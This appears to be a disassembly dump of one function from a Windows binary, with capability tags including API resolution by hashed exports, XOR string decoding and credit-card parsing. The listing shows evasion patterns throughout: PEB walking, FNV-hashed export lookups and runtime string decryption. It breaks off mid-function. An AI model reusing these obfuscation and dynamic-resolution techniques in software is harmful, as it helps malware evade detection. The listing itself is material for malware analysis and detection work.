Function at 0x140003040
Capabilities:
Access peb ldr_data
Authenticate hmac
Encode data using xor
Get kernel32 base address
Get number of processors
Hash data using fnv
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x47b8]
mov eax, 0x48b8
call fcn.14008fd90
sub rsp, rax
movaps xmmword [rsp + 0x48a0], xmm6
movaps xmmword [rsp + 0x4890], xmm7
movaps xmmword [rsp + 0x4880], xmm8
xor r13d, r13d
movsd xmm0, qword [str.XYS_]
movsd qword [rsp + 0x28], xmm0
movzx ecx, word [0x1400a40e0]
mov word [rsp + 0x30], cx
movzx eax, byte [0x1400a40e2]
mov byte [rsp + 0x28], WSASetLastError
xor byte [rsp + 0x29], 0x36
xor byte [rsp + 0x2a], 0x37
xor byte [rsp + 0x2b], 0x38
xor byte [rsp + 0x2c], 0x39
xor byte [rsp + 0x2d], 0x3a
xor byte [rsp + 0x2e], 0x3b
xor byte [rsp + 0x2f], 0x3c
xor cl, 0x3d
mov byte [rsp + 0x30], cl
xor byte [rsp + 0x31], 0x3e
xor al, 0x3f
mov byte [rsp + 0x32], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003166
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003166
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xea81b7cb
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003161
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003140
cmp r8d, 0xedc80072
je 0x14000316b
test r9d, r9d
jne 0x140003120
mov rax, qword [rax]
jmp 0x1400030f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x28]
call rdx
lea rdx, [0x1400a249c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400257c0
mov rcx, rax
lea rdx, str._n_____________________________________________________n_____________________________________________________n_______________________________:_____________________n_____________________:_______:________:___________:__n__________________:.::.:_:_:_::_:::__:.::_:__::.:_:__n_t
call fcn.1400257c0
mov rcx, rax
mov dl, 0xa
call fcn.1400255f0
lea rdx, str._n_n___
lea rcx, [rbp - 0x78]
call fcn.140025990
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp - 0x78]
call fcn.140024ed0
lea rdx, [0x1400a24a8]
lea rcx, [rbp - 0x68]
call fcn.140025b00
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp - 0x68]
call fcn.140024ed0
lea rdx, [0x1400a24ac]
lea rcx, [rbp - 0x58]
call fcn.140025990
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp - 0x58]
call fcn.140024ed0
movups xmm0, xmmword [str.bS__VW]
movups xmmword [rbp + 0x1c8], xmm0
mov eax, dword [0x1400a33a8]
mov dword [rbp + 0x1d8], eax
mov esi, 5
lea r14d, [rsi + 0x1a]
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x1400a33ab], 0
je 0x140003403
mov r8d, r13d
cmp r12d, 2
jl 0x1400033bb
movdqa xmm5, xmmword [0x1400af2e0]
movdqa xmm4, xmmword [0x1400af360]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400af310]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1400af340]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x1cc]
mov edx, dword [rbp - 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400032b0
cmp r8d, 0x14
jge 0x140003403
movsxd rax, r8d
lea r9, [rbp + 0x1c8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x1400033d0
movzx edx, byte [rbp + 0x4800]
lea rcx, [rbp + 0x330]
call fcn.140025e90
nop
lea rax, [rbp + 0x1c8]
mov r15, 0xffffffffffffffff
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140003430
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0x330]
call fcn.140025eb0
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x330]
call fcn.140002160
nop
lea rcx, [rbp + 0x330]
call fcn.140001e90
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400034f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400034f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x4609dc53
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400034f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400034d0
cmp r8d, 0x28568fd6
je 0x1400034fb
test r9d, r9d
jne 0x1400034b0
mov rax, qword [rax]
jmp 0x140003480
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x5dc
call rdx
lea rdx, [0x1400a24b0]
lea rcx, [rbp - 0x30]
call fcn.140025990
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp - 0x30]
call fcn.140024ed0
lea rdx, [0x1400a24a8]
lea rcx, [rbp - 0x20]
call fcn.140025b00
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp - 0x20]
call fcn.140024ed0
lea rdx, [0x1400a24ac]
lea rcx, [rbp - 0x10]
call fcn.140025990
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp - 0x10]
call fcn.140024ed0
movups xmm0, xmmword [str.vYYVYOUSY]
movups xmmword [rbp + 0x210], xmm0
movsd xmm0, qword [0x1400a29c0]
movsd qword [rbp + 0x220], xmm0
movzx eax, byte [0x1400a29c8]
mov byte [rbp + 0x228], al
mov r8d, r13d
cmp r12d, 2
jl 0x14000371b
movdqa xmm5, xmmword [0x1400af2e0]
movdqa xmm4, xmmword [0x1400af360]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400af310]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1400af340]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x214]
mov edx, dword [rbp - 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140003610
cmp r8d, 0x19
jge 0x140003763
movsxd rax, r8d
lea r9, [rbp + 0x210]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x140003730
movzx edx, byte [rbp + 0x4800]
lea rcx, [rbp + 0x350]
call fcn.140025e90
nop
lea rax, [rbp + 0x210]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140003781
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x350]
call fcn.140025eb0
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x350]
call fcn.140002160
nop
lea rcx, [rbp + 0x350]
call fcn.140001e90
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003846
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003846
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x4cc75ae6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003841
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003820
cmp r8d, 0x349ec229
je 0x14000384b
test r9d, r9d
jne 0x140003800
mov rax, qword [rax]
jmp 0x1400037d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x4b0
call rdx
mov eax, dword [str.VZD8QS_LK_]
mov dword [rbp + 0x4810], eax
cmp byte [0x1400a2707], 0
je 0x140003963
cmp r12d, 2
jl 0x140003917
movdqa xmm3, xmmword [0x1400af2e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400af360]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400af360]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, esi
psrad xmm2, xmm0
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400af310]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400af340]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x4810], xmm2
jmp 0x140003963
lea r9, [rbp + 0x4810]
mov r8d, r13d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140003930
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400039f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400039f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xcdca6490
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400039f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400039d0
cmp r8d, 0x86c952d1
je 0x1400039fb
test r9d, r9d
jne 0x1400039b0
mov rax, qword [rax]
jmp 0x140003980
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x4810]
call rdx
movsd xmm0, qword [str.XYS_]
movsd qword [rsp + 0x38], xmm0
movzx ecx, word [0x1400a40e0]
mov word [rsp + 0x40], cx
movzx eax, byte [0x1400a40e2]
mov byte [rsp + 0x38], WSASetLastError
xor byte [rsp + 0x39], 0x36
xor byte [rsp + 0x3a], 0x37
xor byte [rsp + 0x3b], 0x38
xor byte [rsp + 0x3c], 0x39
xor byte [rsp + 0x3d], 0x3a
xor byte [rsp + 0x3e], 0x3b
xor byte [rsp + 0x3f], 0x3c
xor cl, 0x3d
mov byte [rsp + 0x40], cl
xor byte [rsp + 0x41], 0x3e
xor al, 0x3f
mov byte [rsp + 0x42], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003b06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003b06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xe0ceffa7
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003b01
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003ae0
cmp r8d, 0xb6d0ee26
je 0x140003b0b
test r9d, r9d
jne 0x140003ac0
mov rax, qword [rax]
jmp 0x140003a90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x38]
call rdx
lea rdx, [0x1400a249c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400257c0
mov rcx, rax
lea rdx, str._n_____________________________________________________n_____________________________________________________n_______________________________:_____________________n_____________________:_______:________:___________:__n__________________:.::.:_:_:_::_:::__:.::_:__::.:_:__n_t
call fcn.1400257c0
mov rcx, rax
mov dl, 0xa
call fcn.1400255f0
lea rdx, str._n_n___
lea rcx, [rbp]
call fcn.140025990
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp]
call fcn.140024ed0
lea rdx, [0x1400a24a8]
lea rcx, [rbp + 0x10]
call fcn.140025b00
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0x10]
call fcn.140024ed0
lea rdx, [0x1400a24ac]
lea rcx, [rbp + 0x20]
call fcn.140025990
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0x20]
call fcn.140024ed0
lea rdx, str.Welcome_to_Fucker_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400257c0
lea rdx, str._n___
lea rcx, [rbp + 0x30]
call fcn.140025990
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0x30]
call fcn.140024ed0
lea rdx, [0x1400a24a8]
lea rcx, [rbp + 0x40]
call fcn.140025b00
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0x40]
call fcn.140024ed0
lea rdx, [0x1400a24ac]
lea rcx, [rbp + 0x50]
call fcn.140025990
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0x50]
call fcn.140024ed0
movups xmm0, xmmword [str.vYYVYOYY]
movups xmmword [rbp + 0x1e0], xmm0
mov eax, dword [0x1400a4ed8]
mov dword [rbp + 0x1f0], eax
cmp byte [0x1400a4edb], 0
je 0x140003e23
mov r8d, r13d
cmp r12d, 2
jl 0x140003ddb
movdqa xmm5, xmmword [0x1400af2e0]
movdqa xmm4, xmmword [0x1400af360]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400af310]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1400af340]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x1e4]
mov edx, dword [rbp - 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140003cd0
cmp r8d, 0x14
jge 0x140003e23
movsxd rax, r8d
lea r9, [rbp + 0x1e0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140003df0
movzx edx, byte [rbp + 0x4800]
lea rcx, [rbp + 0x370]
call fcn.140025e90
nop
lea rax, [rbp + 0x1e0]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140003e41
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x370]
call fcn.140025eb0
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x370]
call fcn.140002160
nop
lea rcx, [rbp + 0x370]
call fcn.140001e90
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx ebx, byte [rbp + 0x4800]
movzx edi, byte [rbp + 0x4800]
nop word [rax + rax]
mov eax, dword [str.VZD8QS_LK_]
mov dword [rbp + 0x4818], eax
cmp byte [0x1400a2707], 0
je 0x140003f93
cmp r12d, 2
jl 0x140003f4e
movdqa xmm3, xmmword [0x1400af2e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400af360]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400af360]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, esi
psrad xmm2, xmm0
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400af310]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400af340]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x4818], xmm2
jmp 0x140003f93
lea r9, [rbp + 0x4818]
mov r8d, r13d
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140003f60
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r14d, dword [rcx + r10 + 0x88]
add r14, r10
cmp r14, r10
je 0x140004026
mov r9d, dword [r14 + 0x18]
test r9d, r9d
je 0x140004026
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rsi]
add rdx, r10
mov r8d, 0x3e3108ae
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004021
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004000
cmp r8d, 0x49aa8e0f
je 0x14000402b
test r9d, r9d
jne 0x140003fe0
mov rax, qword [rax]
jmp 0x140003fb0
mov ecx, dword [r14 + 0x1c]
add rcx, r10
mov eax, dword [r14 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x4818]
call rdx
movsd xmm0, qword [str.XYS_]
movsd qword [rsp + 0x48], xmm0
movzx ecx, word [0x1400a40e0]
mov word [rsp + 0x50], cx
movzx eax, byte [0x1400a40e2]
mov byte [rsp + 0x48], WSASetLastError
xor byte [rsp + 0x49], 0x36
xor byte [rsp + 0x4a], 0x37
xor byte [rsp + 0x4b], 0x38
xor byte [rsp + 0x4c], 0x39
xor byte [rsp + 0x4d], 0x3a
xor byte [rsp + 0x4e], 0x3b
xor byte [rsp + 0x4f], 0x3c
xor cl, 0x3d
mov byte [rsp + 0x50], cl
xor byte [rsp + 0x51], 0x3e
xor al, 0x3f
mov byte [rsp + 0x52], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r14d, dword [rcx + r10 + 0x88]
add r14, r10
cmp r14, r10
je 0x140004136
mov r9d, dword [r14 + 0x18]
test r9d, r9d
je 0x140004136
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rsi]
add rdx, r10
mov r8d, 0x3d2c89ed
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004131
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004110
cmp r8d, 0x161d3384
je 0x14000413b
test r9d, r9d
jne 0x1400040f0
mov rax, qword [rax]
jmp 0x1400040c0
mov ecx, dword [r14 + 0x1c]
add rcx, r10
mov eax, dword [r14 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x48]
call rdx
lea rdx, [0x1400a249c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400257c0
mov rcx, rax
lea rdx, str._n_____________________________________________________n_____________________________________________________n_______________________________:_____________________n_____________________:_______:________:___________:__n__________________:.::.:_:_:_::_:::__:.::_:__::.:_:__n_t
call fcn.1400257c0
mov rcx, rax
mov dl, 0xa
call fcn.1400255f0
lea rdx, str._n_n___
lea rcx, [rbp + 0x60]
call fcn.140025990
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0x60]
call fcn.140024ed0
lea rdx, [0x1400a24a8]
lea rcx, [rbp + 0x70]
call fcn.140025b00
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0x70]
call fcn.140024ed0
lea rdx, [0x1400a24ac]
lea rcx, [rbp + 0x80]
call fcn.140025990
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
